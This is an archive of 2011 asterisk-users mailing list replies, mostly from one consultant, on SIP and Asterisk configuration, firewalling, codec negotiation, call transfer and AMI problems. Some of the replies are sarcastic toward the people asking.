Hangup(). Is there any way I can not send a 603 declined so to mislead the probe runner? There is really no way to accomplish that except with a firewall. -- Alex Balashov - Principal Evariste Systems LLC 260 Peachtree Street NW Suite 2200 Atlanta, GA 30303 Tel: +1-678-954-0670 Fax: +1-404-961-1892 Web: http://www.evaristesys.com/ -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users
Re: [asterisk-users] Securing Asterisk - How to avoid sending, SIP/2.0 603 Declined
Paul, Won't that just send a 403 Forbidden? -- Alex Balashov - Principal Evariste Systems LLC 260 Peachtree Street NW Suite 2200 Atlanta, GA 30303 Tel: +1-678-954-0670 Fax: +1-404-961-1892 Web: http://www.evaristesys.com/ On Jul 22, 2011, at 9:48 PM, Paul Belanger pabelan...@digium.com wrote: On 11-07-22 07:32 PM, Bruce B wrote: Hello, I am wondering if there is a way to drop SIP packets for generic transactions? For example, only SIP PEERs are allowed to call in and receive ACK or Declined rather that those inviting a call who are not PEERs at all. Currently my Asterisk setup sends, *SIP/2.0 603 Declined *to any stranger invites because my dialplan includes Hangup(). Is there any way I can not send a 603 declined so to mislead the probe runner? Have you tried disabling guests? sip.conf [general] allowguest=no -- Paul Belanger Digium, Inc. | Software Developer twitter: pabelanger | IRC: pabelanger (Freenode) Check us out at: http://digium.com http://asterisk.org -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users
Re: [asterisk-users] Help: How can I Add my own Word in option packets in from field of SIP From Asterisk??
On 07/20/2011 05:00 AM, Masood Ahmed wrote: Hello All, Is there any one who can help me to change the From field parameters in option packets, I have seen that in option packtes asterisk sends its own information,If you see the below option packet i have highlighted the asterisk word in from field and in from field tag how can i changed it Please let me know same as in User Agent. These are internally generated, so there is no way to modify them without a source-level change. -- Alex Balashov - Principal Evariste Systems LLC 260 Peachtree Street NW Suite 2200 Atlanta, GA 30303 Tel: +1-678-954-0670 Fax: +1-404-961-1892 Web: http://www.evaristesys.com/ -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users
Re: [asterisk-users] Multiple Asterisk Sessions on same machine
On 07/19/2011 02:15 PM, Kevin P. Fleming wrote: Actually, you can do this with one installation of Asterisk, and a separate set of config files and data directories. When the Asterisk executable is started, the '-C' option can be used to point to an asterisk.conf file; that file can then tell it where all the other config files and the data directories are located. If you are using one of the init scripts, then yes, that would need to be duplicated and modified. How, do you suppose, would the complexity of that compare to chrooting two installations? -- Alex Balashov - Principal Evariste Systems LLC 260 Peachtree Street NW Suite 2200 Atlanta, GA 30303 Tel: +1-678-954-0670 Fax: +1-404-961-1892 Web: http://www.evaristesys.com/ -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users
Re: [asterisk-users] Multiple Asterisk Sessions on same machine
On 07/19/2011 02:25 PM, Jeremy Kister wrote: On 7/19/2011 2:07 PM, Michael wrote: We would like Asterisk to listen on port 5060 and on an additional port. From what we read online, it's not really possible, so is it possible to if you're running iptables, you can set up a pretty simple rule to forward your additional port to 5060. http://www.cyberciti.biz/faq/linux-port-redirection-with-iptables/ remember UDP vs TCP. I don't think that's going to work, for two reasons: 1) REDIRECT targets are stateless, aren't they? That would mean that Asterisk would behave as if the request were sent to 5060, and would, of course, respond from 5060 regardless. If the redirecting entity were a separate host, an additional SNAT rule could be applied to fix it in the other direction, too. But since it's the same host, that would cause all outgoing traffic sent by Asterisk from 5060 to be mangled, which is not the intended effect. 2) SIP, as a protocol, has the somewhat dubious distinction of incorporating network and transport-layer reachability information straight into the message. Since your iptables rule is not SIP-aware, it would cause any references to IPs and ports used for URI targeting, etc. to stay constant, and thus sabotage your purpose. So, for instance, if Asterisk provides a final reply to an INVITE request with a Contact URI of sip:abc...@xxx.xxx.xxx.xxx:5060, that is where the external UAC would send sequential requests, not 5061 or whatever. That's clearly not what you want. -- Alex Balashov - Principal Evariste Systems LLC 260 Peachtree Street NW Suite 2200 Atlanta, GA 30303 Tel: +1-678-954-0670 Fax: +1-404-961-1892 Web: http://www.evaristesys.com/ -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users
Re: [asterisk-users] Requires
First they came and said that instead of offices, doors and hallways, we should have massive, open-plan seating or grungy, industrial cubicle farms, because open spaces mean open companies! It's safe to say the advice did not fall on deaf ears. Now, we're ready to take openness to the next level. Is asterisk-users ready to be copied on all internal company correspondence? Challenge accepted. -- Alex Balashov - Principal Evariste Systems LLC 260 Peachtree Street NW Suite 2200 Atlanta, GA 30303 Tel: +1-678-954-0670 Fax: +1-404-961-1892 Web: http://www.evaristesys.com/ -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users
Re: [asterisk-users] Requires
On 07/18/2011 09:00 AM, Robert Huddleston wrote: Boy if only it was Enron :) Baby steps. Success is not built overnight; you have to work your way up the totem pole of fleecing people. Start small: persistently ask basic, RTFM-grade newbie questions while assigning yourself pompous, self-aggrandising titles like Asterisk Engineer. Keep it up, and you'll be crashing national economies with fraudulently constructed multi-billion dollar securitised debt tranches in no time. -- Alex Balashov - Principal Evariste Systems LLC 260 Peachtree Street NW Suite 2200 Atlanta, GA 30303 Tel: +1-678-954-0670 Fax: +1-404-961-1892 Web: http://www.evaristesys.com/ -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users
Re: [asterisk-users] FAX with SIP
I resoundingly second that. -- Alex Balashov - Principal Evariste Systems LLC 260 Peachtree Street NW Suite 2200 Atlanta, GA 30303 Tel: +1-678-954-0670 Fax: +1-404-961-1892 Web: http://www.evaristesys.com/ On Jul 18, 2011, at 11:12 PM, C F shma...@gmail.com wrote: Short answer is: dont use it. For the long answer wait for others to answer that. On Mon, Jul 18, 2011 at 7:20 AM, Eduardo Carpes car...@bsd.com.br wrote: Hello guys I need some help to do works FAX using SIP, anybody know the secret to this? Have asterisk 1.6. Thanks!! -- Enviado do meu celular Eduardo Carpes E-mail: car...@bsd.com.br www.freebsd.org -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users
Re: [asterisk-users] Using Firewall to protect Asterisk
On 07/15/2011 12:47 PM, CDR wrote: I need to keep out all connection from 5 countries, which originate most of the Denial of Service attacks. The entries are around 9000 if used as xx.xx.0.0/16. I heard that there is a smarter way to do this by using User Tables in iptables, that will keep the speed equal to LOG(x). I already tried using a straight list and it kills the box. Unless a smarter way us found, there is no way to use iptables. iptables is just a user-space configuration interface to the Linux kernel netfilter. The netfilter uses complex hash tables and other data structures to ensure that packet forwarding rules are looked up in as close to O(1) as possible, not even LOG(n)--LOG(n) would be way too expensive. Other than conventional Cisco router access lists (notwithstanding compiled lists an TurboACL), I don't know of any other packet filter in the universe that does not do similarly. No packet filter would apply a flat list, not the Linux netfilter, not the BSD packet filter, not even Windows. I am not sure what you mean by User Tables or in what context you already tried using a straight list? What list? Where? Illuminating that information would go a long way toward solving your question. Also, don't post as CDR. That's just retarded. -- Alex -- Alex Balashov - Principal Evariste Systems LLC 260 Peachtree Street NW Suite 2200 Atlanta, GA 30303 Tel: +1-678-954-0670 Fax: +1-404-961-1892 Web: http://www.evaristesys.com/ -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users
Re: [asterisk-users] Anybody doing PRI over IP?
On 07/07/2011 04:41 PM, eric weaver wrote: A carrier I like will be introducing PRI over IP, presumably going thru some sort of gateway box (I'm guessing by Adtran but no data yet). Has anybody set up successfully to work directly with such a feed without bothering to take it down to T1 and use a T1/PRI card? Are you talking about a TDMoIP solution? Or are you talking about trunking calls over an IP medium with PRI as the last-mile handoff at both ends? -- Alex Balashov - Principal Evariste Systems LLC 260 Peachtree Street NW Suite 2200 Atlanta, GA 30303 Tel: +1-678-954-0670 Fax: +1-404-961-1892 Web: http://www.evaristesys.com/ -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users
Re: [asterisk-users] Blind Transfer Connected
On 07/06/2011 05:52 PM, Kevin P. Fleming wrote: On 07/06/2011 04:44 PM, Alec Davis wrote: IMHO, blind tranfer definition is to NOT connect A and B back That is correct, and is why it's called a 'blind' transfer; the transferring party does not know or care what happens to the call after effecting the transfer. That's not what users migrating from some legacy PBXs expect, our old Fujitsu essence will call back the transferrer if the call isn't answered. The good old 'hook flash', dial the extension, then hangup. Well, that would have to be handled in the dialplan somehow, because Asterisk alone can't decide when a call is 'not answered'. However, writing such a dialplan would indeed be non-trivial :-) Not to mention the expansive myriad of things that can answer the call these days, like sundry voicemail systems, that do not constitute an answer in the sense desired by the transferring party. On the other hand, if you make the ring timeout too short, that breaks functionality such as call forwarding to a cell phone on the recipient side. It seems to me that keeping blind transfer truly blind is the only viable strategy in the contemporary device, service and feature milieu. -- Alex Balashov - Principal Evariste Systems LLC 260 Peachtree Street NW Suite 2200 Atlanta, GA 30303 Tel: +1-678-954-0670 Fax: +1-404-961-1892 Web: http://www.evaristesys.com/ -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users
Re: [asterisk-users] stream rtp from asterisk
On 07/04/2011 06:58 AM, Marcus Kvarsell wrote: Anybody familiar with streaming rtp from asterisk. Preferably with the xorcom asterisk patch which streams rtp from asterisk to oreka audio server. Any ideas will do just fine though! Can you clarify what you mean by streaming? -- Alex Balashov - Principal Evariste Systems LLC 260 Peachtree Street NW Suite 2200 Atlanta, GA 30303 Tel: +1-678-954-0670 Fax: +1-404-961-1892 Web: http://www.evaristesys.com/ -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users
Re: [asterisk-users] Testing Asterisk with media - sipp
488 means no mutually acceptable codecs were negotiated between the endpoints. -- Alex Balashov - Principal Evariste Systems LLC 260 Peachtree Street NW Suite 2200 Atlanta, GA 30303 Tel: +1-678-954-0670 Fax: +1-404-961-1892 Web: http://www.evaristesys.com/ On Jul 4, 2011, at 3:29 PM, Daniel - Asterisk earohua...@gmail.com wrote: I'm trying to get working SIPp with media but something is wrong (it's working well without media), please help: This is the command I send at SIPp server: ./sipp -sn uac_pcap -d 5000 -s 2006 192.168.1.18 -l 20 -trace_err This is the result I see: Last Error: Aborting call on unexpected message for Call-Id '19-12768@12... What I see at sipp's logs: 2011-06-28 14:32:57:6241309289577.624809: Aborting call on unexpected message for Call-Id '1-12768@127.0.0.1': while expecting '100' (index 1), received 'SIP/2.0 488 Not acceptable here Via: SIP/2.0/UDP 127.0.0.1:5061;branch=z9hG4bK-12768-1-0;received=192.168.1.253 From: sipp sip:sipp@127.0.0.1:5061;tag=12768SIPpTag091 To: sut sip:2005@192.168.1.18:5060;tag=as3614adc3 Call-ID: 1-12768@127.0.0.1 CSeq: 1 INVITE Server: Asterisk PBX 1.8.4.1 Allow: INVITE, ACK, CANCEL, OPTIONS, BYE, REFER, SUBSCRIBE, NOTIFY, INFO, PUBLISH Supported: replaces, timer Content-Length: 0 This is my asterisk 1.8's configuration: sip.conf [sipp] type=friend context=sipp host=dynamic port=6000 user=sipp canreinvite=no disallow=all allow=ulaw extensions.conf: [sipp] exten = 2005,1,Answer same=n,Dial(SIP/intern,30) same=n,Hangup() exten = 2006,1,Answer() same= n,WaitMusicOnHold(4) same= n,Hangup() I'm using sipp.3.1.src.tar.gz and I have installed it this way: ..sip.svn# make pcapplay Thanks in advance. Elder -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users
Re: [asterisk-users] No audio format found to offer.
Perhaps do this instead? allow=g723 allow=g729 disallow=all On 06/29/2011 05:57 PM, Ernie Dunbar wrote: This *should* be something that's easy to fix, but apparently I'm not doing something right. Our SIP long distance provider is telling us to only use formats G.723 and G.729, so I've set up their trunk configuration in sip.conf as such: [t564] type=friend host=XXX.XX.56.4 context=default disallow=all allow=g723 allow=g729 However, the Dial application gives the following error: -- AGI Script Executing Application: (DIAL) Options: (SIP/t564/1XX4332,,HR) == Using SIP RTP CoS mark 5 [Jun 29 13:37:37] WARNING[16693]: chan_sip.c:5518 sip_call: No audio format found to offer. Cancelling call to 1XX4332 -- Couldn't call t564/1XX332 == Everyone is busy/congested at this time (0:0/0/0) I've checked to ensure that both formats are loaded into Asterisk: voip2*CLI module show like 729 Module Description Use Count format_g729.so Raw G729 data 0 1 modules loaded voip2*CLI module show like 723 Module Description Use Count format_g723.so G.723.1 Simple Timestamp File Format 0 1 modules loaded So I'm at a bit of a loss as to why Asterisk is complaining that there's no audio format found to offer. This message was sent using Lightspeed.ca's Advanced Webmail. -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users -- Alex Balashov - Principal Evariste Systems LLC 260 Peachtree Street NW Suite 2200 Atlanta, GA 30303 Tel: +1-678-954-0670 Fax: +1-404-961-1892 Web: http://www.evaristesys.com/ -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users
Re: [asterisk-users] Load Balance Trunks
On 06/29/2011 09:49 AM, Abid Saleem wrote: I have 100 Trunks from my Provider. My Provider is restricting me to make only 120 minutes Call duration / trunk / day. So I want to load balance my calls to these 100 trunks. Please advise in this regard ASAP. Thanks in advance. I read a scam involving the dumping of wholesale call volumes onto retail/access trunks. Groundbreaking and original. Not. -- Alex Balashov - Principal Evariste Systems LLC 260 Peachtree Street NW Suite 2200 Atlanta, GA 30303 Tel: +1-678-954-0670 Fax: +1-404-961-1892 Web: http://www.evaristesys.com/ -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users
Re: [asterisk-users] Agi script for working hours PBX
On 06/27/2011 05:30 AM, mahesh katta wrote: can you any buddy provide agi script in perl or php for, only working hours incomming calls forward to his cellno., and after working hours should be play one playback msg then forward voicemail to his extension. working hours(sun - thu, 9:00 to 19:00) Have you considered using the GotoIfTime() dial plan application? -- Alex Balashov - Principal Evariste Systems LLC 260 Peachtree Street NW Suite 2200 Atlanta, GA 30303 Tel: +1-678-954-0670 Fax: +1-404-961-1892 Web: http://www.evaristesys.com/ -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users
Re: [asterisk-users] Conference feature
I am given to understand that it does not. On 06/27/2011 12:13 AM, C F wrote: Does asterisk support it? On Sun, Jun 26, 2011 at 9:25 PM, Rafael dos Santos Saraiva rafaels...@gmail.com wrote: Hi How to create the conference feature in Asterisk? Thank's Att, Rafael Saraiva -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users -- Alex Balashov - Principal Evariste Systems LLC 260 Peachtree Street NW Suite 2200 Atlanta, GA 30303 Tel: +1-678-954-0670 Fax: +1-404-961-1892 Web: http://www.evaristesys.com/ -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users
Re: [asterisk-users] ITSP failover for PRI
On 06/20/2011 04:20 AM, Olivier wrote: What about incoming calls ? Do you have a way to have calls that normally comes from ITPS1 to comes from ITSP2 ? No, there is no BGP for the PSTN. -- Alex Balashov - Principal Evariste Systems LLC 260 Peachtree Street NW Suite 2200 Atlanta, GA 30303 Tel: +1-678-954-0670 Fax: +1-404-961-1892 Web: http://www.evaristesys.com/ -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users
Re: [asterisk-users] ITSP failover for PRI
On 06/20/2011 05:13 AM, Olivier wrote: Yes, that's what I thought but you never know ;-) (Maybe SS7 offers such redundancy but I've got no experience of any king in this domain). SS7 certainly offers link redundancy, but the issue is that your numbers can't just be flash-ported to a different underlying carrier. -- Alex Balashov - Principal Evariste Systems LLC 260 Peachtree Street NW Suite 2200 Atlanta, GA 30303 Tel: +1-678-954-0670 Fax: +1-404-961-1892 Web: http://www.evaristesys.com/ -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users
Re: [asterisk-users] gmkioliyuiuuuioihlllkppuipppppookkkgkkkhklfgko
I nominate this for most imaginative use of Asterisk-users of 2011. -- Alex Balashov - Principal Evariste Systems LLC 260 Peachtree Street NW Suite 2200 Atlanta, GA 30303 Tel: +1-678-954-0670 Fax: +1-404-961-1892 Web: http://www.evaristesys.com/ On Jun 20, 2011, at 8:43 PM, Marcelo marcelol...@gmail.com wrote: Sent from my iPhone -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users
Re: [asterisk-users] How to secure our Asterisk server from hacker's ?
I thought the idea was that Asterisk Engineers already know the answers to such questions? On 06/16/2011 01:52 AM, virendra bhati wrote: Hi List, I want to secure my server from the hacker's. What is the case by which I can protest it. I have done security of Dialplan, Sip,IAX base security. For linux we are working on Iptables. What else is left so that I will do it too... -- - Thanks and regards Virendra Bhati +91-9172341457 Asterisk Engineer -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users -- Alex Balashov - Principal Evariste Systems LLC 260 Peachtree Street NW Suite 2200 Atlanta, GA 30303 Tel: +1-678-954-0670 Fax: +1-404-961-1892 Web: http://www.evaristesys.com/ -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users
Re: [asterisk-users] A question about Caller ID
Over analog lines? Or ISDN? -- Alex Balashov - Principal Evariste Systems LLC 260 Peachtree Street NW Suite 2200 Atlanta, GA 30303 Tel: +1-678-954-0670 Fax: +1-404-961-1892 Web: http://www.evaristesys.com/ On Jun 12, 2011, at 12:42 PM, Christian christia...@runbox.com wrote: Hi all, Sorry if this is a little off topic, but I just want to know a thing here. What system is used for sending out the caller's number in the US? Here in Sweden we use DTMF to send the number out. I just need to know what is used in the US since I don't think I will be able to use an American caller ID device over here. Many thanks for any info, Christian -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users
Re: [asterisk-users] Configuring Cisco Phones to register on Asterisk: The configuration files
And that means he can be replaced with a small shell script. -- Alex Balashov - Principal Evariste Systems LLC 260 Peachtree Street NW Suite 2200 Atlanta, GA 30303 Tel: +1-678-954-0670 Fax: +1-404-961-1892 Web: http://www.evaristesys.com/ On Jun 12, 2011, at 5:59 PM, C F shma...@gmail.com wrote: You gotto love this this guy. You can almost predict what his next question is. On Sun, Jun 12, 2011 at 5:16 PM, bilal ghayyad bilmar...@yahoo.com wrote: Hi All; I need to create the needed files for the Cisco Phones to be placed in the TFTP server to be able to register on Asterisk. I need a help in the following please: 1) Regarding to the file: SIPDefault.cnf, The proxy1_address is the IP address of Asterisk? 2) Regarding to the file: SIPmacaddress.cnf, if I need to let it appear at the Phone (the first line for example) the extension, so this will be the line1_name? For example, if I need the extension to be 700 then I set line1_name : 700 ? And if I need line 2 to be 701 then I set line2_name : 701? 3) About the xmlDefault.CNF.XML, it is mention that I have to place the IP address of Asterisk, but where? What is the format to write the Asterisk IP address in this file? 4) About the dialplan.xml file, what the below means? TEMPLATE MATCH=* Timeout=5/ !-- Anything else -- Any help? Regards Bilal -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users
Re: [asterisk-users] AMI buffering event output?
Are you using the same telnet client in both cases? On 06/01/2011 06:54 AM, Örn Arnarson wrote: No, because the same is happening with telnet. If I telnet to AMI, I observe exactly the same behavior. Otherwise I would put it down to PHP. On Tue, May 31, 2011 at 5:41 PM, Alex Balashov abalas...@evaristesys.com wrote: On 05/31/2011 01:38 PM, Örn Arnarson wrote: Hi, I'm seeing weird behavior with AMI where no events are output until some input is detected (can be an empty line), at which time all the buffered output is spewed out at once. I am maintaining multiple Asterisk installations, and with one installation I have run into a weird buffering problem with AMI. The version is 1.6.1.11 in this particular case, which I am running at multiple locations, all without this problem. Additionally I have tried version 1.6.2.11 and 1.8.4.1, and the problem is consistent across these versions. manager.conf is identical across all these installations. The problem presents with a php script that opens a socket directly to AMI, a telnet client from the local machine to the AMI, but not when I telnet from the machine to a remote machine running AMI. Does anyone have any input as to what I can try? Best regards, Örn This is because of some blocking and/or read-write order issue in your PHP script. PHP is a web language, not for standalone scripts doing network I/O. -- Alex Balashov - Principal Evariste Systems LLC 260 Peachtree Street NW Suite 2200 Atlanta, GA 30303 Tel: +1-678-954-0670 Fax: +1-404-961-1892 Web: http://www.evaristesys.com/ -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users -- Alex Balashov - Principal Evariste Systems LLC 260 Peachtree Street NW Suite 2200 Atlanta, GA 30303 Tel: +1-678-954-0670 Fax: +1-404-961-1892 Web: http://www.evaristesys.com/ -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users
Re: [asterisk-users] queuemetrics with 1.8 queue_log
On 05/31/2011 10:21 AM, satish patel wrote: We were using queuemetrics since long time with asterisk 1.2 but recently we have install 1.8 asterisk and but there is a big different in queue_log its saying SIP/ instead of Agent/ that is obvious behaviors. so do i need to change Agent/ to SIP/ in queuemetrics ? or is there any workaround to keep business running same like it was before. I am confident that if you addressed this question directly to Lenz Emilitri and/or Loway Research you would get a more speedy, relevant and precise answer. -- Alex Balashov - Principal Evariste Systems LLC 260 Peachtree Street NW Suite 2200 Atlanta, GA 30303 Tel: +1-678-954-0670 Fax: +1-404-961-1892 Web: http://www.evaristesys.com/ -- _ -- Bandwidth and Colocation Provided by http://www.api-digital.com -- New to Asterisk? Join us for a live introductory webinar every Thurs: http://www.asterisk.org/hello asterisk-users mailing list To UNSUBSCRIBE or update options visit: http://lists.digium.com/mailman/listinfo/asterisk-users
Re: [asterisk-users] AMI buffering event output?
On 05/31/2011 01:38 PM, Örn Arnarson wrote: Hi, I'm seeing weird behavior with AMI where no events are output until some input is detected (can be an empty line), at which time all the buffered output is spewed out at once. I am maintaining multiple Asterisk installations, and with one installation I have run into a weird buffering problem with AMI. The version is 1.6.1.11 in this particular case, which I am running at multiple locations, all without this problem. Additionally I have tried version 1.6.2.11 and 1.8.4.1, and the problem is consistent across these versions. manager.conf is identical across all these installations. The problem presents with a php script that opens a socket directly to AMI, a telnet client from the local machine to the AMI, but not when I telnet from the machine to a remote machine running AMI. Does anyone have any input as to what I can try? Best regards, Örn This is because of some blocking and/or read-write order issue in your PHP script. PHP is a web language, not for standalone scripts doing network I/O. -- Alex Balashov - Principal Evariste Systems LLC 260 Peachtree Street NW Suite 2200 Atlanta, GA 30303 Tel: 